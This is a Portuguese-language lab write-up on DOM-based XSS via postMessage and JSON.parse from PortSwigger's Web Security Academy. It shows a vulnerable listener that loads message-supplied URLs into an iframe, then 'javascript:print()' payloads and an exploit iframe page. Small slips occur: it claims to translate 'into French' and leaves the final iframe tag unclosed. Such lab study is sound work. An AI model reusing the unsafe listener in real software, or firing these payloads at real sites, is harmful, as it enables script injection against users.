> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/dom/xss-dom-with-web-messages-and-json-parse.md).

# XSS DOM com Web Messages e json.parse

Notas sobre XSS DOM com Web Messages e json.parse para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### DOM XSS usando Web Messages e JSON.parse

Este documento reformula e traduz para o francês as notas fornecidas no laboratório (PortSwigger): ele descreve o código vulnerável, como interpreta mensagens e o payload usado para chamar `print()` por meio de uma `iframe`.

Descrição do script vulnerável

O script cria dinamicamente uma `iframe` tag e é controlado remotamente por meio de mensagens recebidas pelo `postMessage` evento. Ele pode carregar uma URL, ajustar o tamanho do player e rolá-lo para a página.

```javascript
<script>
window.addEventListener('message', function(e) {
    var iframe = document.createElement('iframe'),
        ACMEplayer = {element: iframe},
        d;

    document.body.appendChild(iframe);

    try {
        d = JSON.parse(e.data);
    } catch(e) {
        return;
    }

    switch(d.type) {
        case "page-load":
            ACMEplayer.element.scrollIntoView();
            break;

        case "load-channel":
            ACMEplayer.element.src = d.url;
            break;

        case "player-height-changed":
            ACMEplayer.element.style.width = d.width + "px";
            ACMEplayer.element.style.height = d.height + "px";
            break;
    }
}, false);
</script>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6a4f05fb6729419561be70ca3f869b1c54bd4b1%2F%7B9AA2E293-698F-467F-B999-AF6D94227B80%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### `postMessage` Exemplo de mensagem

Enviar uma mensagem JSON em formato de string permite que o script interprete a ação solicitada.

Carregue uma URL normal:

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "https://jord4n.pro"
}), "*");
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83947f1c966af58cd853eb3e3558d4d43dfe6a20%2F%7BF44BA329-510F-4498-875F-388807192C72%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Use um `JavaScript:` esquema para executar código (aqui, chamar `print()`):

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "javascript:print()"
}), "*");
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd38813137faa317fcc0754d51ba7ce96ba4c1de%2F%7B97D8AF92-6E52-40C4-80E7-0F79B0FB1F70%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

No servidor em funcionamento, você pode colocar uma página HTML com um `iframe` apontando para a página vulnerável e enviar a `load-string` mensagem com `URL: "JavaScript:print()"` ao carregar o iframe.

```javascript
<iframe
  src="https://0ab900e304d6807a80b30312007a000d.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage(JSON.stringify({type:\"load-channel\",url:\"javascript:print()\"}),\"*\"); "
</iframe>
```


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